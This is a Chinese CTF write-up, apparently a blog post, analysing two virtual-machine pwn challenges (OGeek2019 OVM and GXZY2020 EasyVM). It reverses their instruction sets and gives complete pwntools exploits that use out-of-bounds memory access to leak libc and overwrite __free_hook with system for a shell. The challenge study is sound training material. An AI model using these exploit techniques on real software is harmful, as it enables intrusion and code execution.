VM pwn入门

VM pwn貌似是最近火起来的一类PWN题。最近打的好几场比赛都出现了VM pwn的题目,正好在BUU上面遇到一道2019年的OGeek中出现的VM pwn题,感觉应该会比较简单,另外听说高校战役里的EasyVM也是偏简单的VM pwn题。本文就主要对这两道题目进行分析。

[OGeek2019 Final]OVM

程序分析

在这里插入图片描述
作为VM pwn的第一步就是需要搞清楚指令的格式,操作码和操作数
本题使用的是定长指令,一共32bits,每一个占8bits,但除了操作码能利用完8bits之外,寄存器只占4bits,所以只有16个寄存器,格式如下

操作码 | 目的寄存器编号 | 操作数2寄存器编号 | 操作数1寄存器编号

每个操作码的功能如下:

dst = (a1&0xf0000)>>16
dst = reg[dst]
op2 = (a1&0xf00)>>8
op2 = reg[ope2]
op1 = a1&0xf
op1 = reg[op1]

0x10:
dst = a1&0xff

0x20:
dst = ((a1&0xff)==0)

0x30:
dst = memory[op1]

0x40:
memory[op1] = dst

0x50:
tmp = reg[13]
reg[13]++
stack[tmp] = dst

0x60:
reg[13]--
dst = stack[reg[13]]

0x70:
dst = op1 + op2

0x80:
dst =  op2 - op1

0x90:
dst =  op1 & op2

0xA0:
dst =  op1 | op2

0xB0:
dst = op1 ^ op2

0xC0:
dst =  op2 << op1

0xD0:
dst =  op2 >> op1

0xE0:
running=0
if !reg[13]exit
show all reg

对指令的逆向是一个很费时间的过程,但这是必不可少的,一定要耐心分析每一个操作码的功能
接下来就是分析程序中的漏洞了,可以看到memory并没有对下标大小进行检测,这就有一个数组越界漏洞
在这里插入图片描述

而memory位于0x202060偏移处,在0x202040处正好就有一个指向堆的指针,并且程序结束时允许我们输入0x8c个bytes,如果我们能把这个指针改了,不就能进行一次任意内存写了吗?
而位于0x201FF8偏移处有_IO_2_1_stderr_的地址,该地址+0x10A8即为_free_hook

利用思路

有了上面的分析,我们的利用思路就很清晰了

  1. 利用数组越界获取stderr的地址到reg[2]和reg[3]
  2. 利用0x10(赋值)和0xC0(左移)操作构造出0x10A0
  3. 利用0x70(add)功能让reg中的stderr地址增加0x10A0
  4. 再次利用数组越界把增加之后的地址写到$rebase(0x202040),即comment[0]的位置
  5. 退出运行,先利用泄露的寄存器的值计算libc,然后输入’/bin/sh’+p64(system)即可

Exp

from pwn import *

r = remote("node3.buuoj.cn", 29381)
#r = process("./OGeek2019_Final_OVM")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xCFE)
	x/10gx $rebase(0x242060)
	c
	''')

elf = ELF("./OGeek2019_Final_OVM")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
success("malloc:"+hex(libc.sym['malloc']))
success("system:"+hex(libc.sym['system']))
success("free_hook:"+hex(libc.sym['__free_hook']))


def code_generate(code, dst, op1, op2):
	res = code<<24
	res += dst<<16
	res += op1<<8
	res += op2
	return res

r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
r.sendline(str(code_generate(0x10, 0, 0, 26))) #reg[0] = 26 (stderr)
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 2, 0, 1))) #reg[2] = memory[reg[1]]
r.sendline(str(code_generate(0x10, 0, 0, 25))) #reg[0] = 25
r.sendline(str(code_generate(0x10, 1, 0, 0))) #reg[1] = 0
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 3, 0, 1))) #reg[3] = memory[reg[1]]
r.sendline(str(code_generate(0x10, 4, 0, 1))) #reg[4] = 1
r.sendline(str(code_generate(0x10, 5, 0, 12))) #reg[5] = 12
r.sendline(str(code_generate(0xC0, 4, 4, 5))) #reg[4] = reg[4]<<reg[5]
r.sendline(str(code_generate(0x10, 5, 0, 0xA))) #reg[5] = 0xA
r.sendline(str(code_generate(0x10, 6, 0, 4))) #reg[6] = 4
r.sendline(str(code_generate(0xC0, 5, 5, 6))) #reg[5] = reg[5]<<reg[6]
r.sendline(str(code_generate(0x70, 4, 4, 5))) #reg[4] = reg[4]+reg[5]
r.sendline(str(code_generate(0x70, 2, 4, 2))) #reg[2] = reg[4]+reg[2]
r.sendline(str(code_generate(0x10, 4, 0, 8))) #reg[4] = 8
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 2, 0, 5))) #memory[reg[5]]=reg[2]
r.sendline(str(code_generate(0x10, 4, 0, 7))) #reg[4] = 7
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 3, 0, 5))) #memory[reg[5]]=reg[3]
r.sendline(str(code_generate(0xE0, 0, 1, 1))) #exit

r.recvuntil("R2: ")
low = int(r.recvuntil('\n').strip(), 16) + 8
r.recvuntil("R3: ")
high = int(r.recvuntil('\n').strip(), 16)
free_hook = (high<<32)+low
success("free_hook:"+hex(free_hook))
libc.address = free_hook - libc.sym['__free_hook']
system = libc.sym['system']
r.recvuntil("HOW DO YOU FEEL AT OVM?\n")
r.sendline('/bin/sh\x00'+p64(system))

r.interactive()

GXZY2020 EasyVM

题目分析

在这里插入图片描述
程序开始会对虚拟机的寄存器等等进行初始化
在这里插入图片描述
这里6和7应该分别是esp和ebp,10是栈的尽头,8是PC,剩下的都是寄存器

程序有四个功能,分别是输入指令,执行,释放和后门
后门函数
在这里插入图片描述
后门函数会执行一串奇怪的操作,这里我们可以先执行后门然后输入指令把后门函数的奇怪指令替换,v5中存放的是.text节的地址

该题的指令为变长指令,操作码对应的功能如下:

a1[6]:stack?

9:
a1[1]=backdoor_addr(0x305c)

0x10:
a1[9]=a1[1]

0x11:
printf("%p:", a1[1])

0x22:
a1[1]>>=a1[2]

0x23:
a1[1]<<=a1[2]

0x30:
a1[1]|=a1[2]

0x31:
a1[1]&=a1[2]

0x41:
a1[1]+=a1[2]

0x42:
a1[1]-=a1[4]

0x43:
a1[1]*=a1[3]

0x44:
a1[1]/=a1[5]

0x53:
putchar(*(char*)a1[3])
index+=2

0x54:
*a1[3]=getchar()
index+=2

0x71:(push?)
a1[6]-=4
*a1[6] = a1[8]+1

0x76:(pop?)
a1[3]=*a1[6]
*a1[6]=0
a1[6]+=4
index+=5

0x77:
a1[1]^=a1[9]

0x80:
也算是一个后门吧,功能是a1[a1[8]+1]=(Dword)a1[8]+2
算是一个数组越界后门

0x99:
exit

这题的漏洞比较致命,可以直接利用0x71(类似于push)和0x76(类似于pop)加上0x53和0x54直接进行任意内存读写
加上9号指令个0x11指令的使用,可以直接泄露elf_base

利用思路

根据上面分析,第一步我们需要泄露elf_base

  1. 利用9和0x11指令泄露elf_base
  2. 利用0x71,0x76,0x53指令泄露出任意libc函数地址(我这里泄露的是read的地址)
  3. 利用0x71,0x76,0x54指令向__free_hook中写入system的地址,然后利用0x71指令不断把栈抬高(这里说的是虚拟机的栈),然后在栈的尽头写入/bin/sh

第三步还有另一种办法,即利用0x80指令,在a1[16]即为栈的尽头,但是因为只能写入Dword所以就写’sh\x00\x00’
操作码为"\x80" + p8(16) + ‘sh\x00\x00’ + ‘\x99’

  1. 释放,getshell

Exp

from pwn import *

#r = remote("node3.buuoj.cn", 28433)
r = process("./EasyVM")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xA3A)
	b *$rebase(0xA15)
	b *$rebase(0xEEE)
	x/10wx $rebase(0x305C)
	c
	''')

elf = ELF("./EasyVM")
#libc = ELF('./libc/libc-2.23_32.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

menu = ">>> \n"

def create(payload):
	r.recvuntil(menu)
	r.sendline('1')
	sleep(0.5)
	r.sendline(payload)

def execute():
	r.recvuntil(menu)
	r.sendline('2')

def free():
	r.recvuntil(menu)
	r.sendline('3')

def backdoor():
	r.recvuntil(menu)
	r.sendline('4')


backdoor()
payload = p8(9)+p8(0x11)+p8(0x99)
create(payload)
execute()
elf_base = int(r.recvuntil('\n').strip(), 16) - 0x6c0
success("elf_base:"+hex(elf_base))
read_got = elf_base + elf.got['read']
payload = p8(0X71) + p32(read_got) + p8(0x76) + p32(0) + p8(0x53)*2
payload += p8(0X71) + p32(read_got+1) + p8(0x76) + p32(0) + p8(0x53)*2
payload += p8(0X71) + p32(read_got+2) + p8(0x76) + p32(0) + p8(0x53)*2
payload += p8(0X71) + p32(read_got+3) + p8(0x76) + p32(0) + p8(0x53)*2
payload += p8(0x99)
create(payload)
execute()
read = u32(r.recv(1)+r.recv(1)+r.recv(1)+r.recv(1))
libc.address = read - libc.sym['read']
success("libc:"+hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
payload = p8(0X71) + p32(free_hook) + p8(0x76) + p32(0) + p8(0x54)*2
payload += p8(0X71) + p32(free_hook+1) + p8(0x76) + p32(0) + p8(0x54)*2
payload += p8(0X71) + p32(free_hook+2) + p8(0x76) + p32(0) + p8(0x54)*2
payload += p8(0X71) + p32(free_hook+3) + p8(0x76) + p32(0) + p8(0x54)*2
padding = (p8(0X71) + p32(0))*77
payload += padding + p8(0X71) + p32(0x2f736800)[::-1] + p8(0X71) + p32(0x2f62696e)[::-1]
payload += p8(0x99)
create(payload)
execute()
r.send(p32(system))
free()

r.interactive()

一点总结

相比于堆菜单题,VM pwn对代码理解要求比较高,需要把每一个指令的功能都弄明白。此外VM pwn中主要漏洞就是数组越界,所以首先的漏洞发掘点就是看看数组下标是不是没有检查。其次值得关注的点就是与内存相关的操作,看看是否能够控制操作的地址。这两个类型的漏洞其实利用起来相对简单,不需要太高深的技巧。当然这也可能是因为我做的题目都是比较简单的VM pwn题。这个需要我研究一下网鼎杯的boom2和RCTF的vm来检验一下。

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/106600382
vm
pwn
今日推荐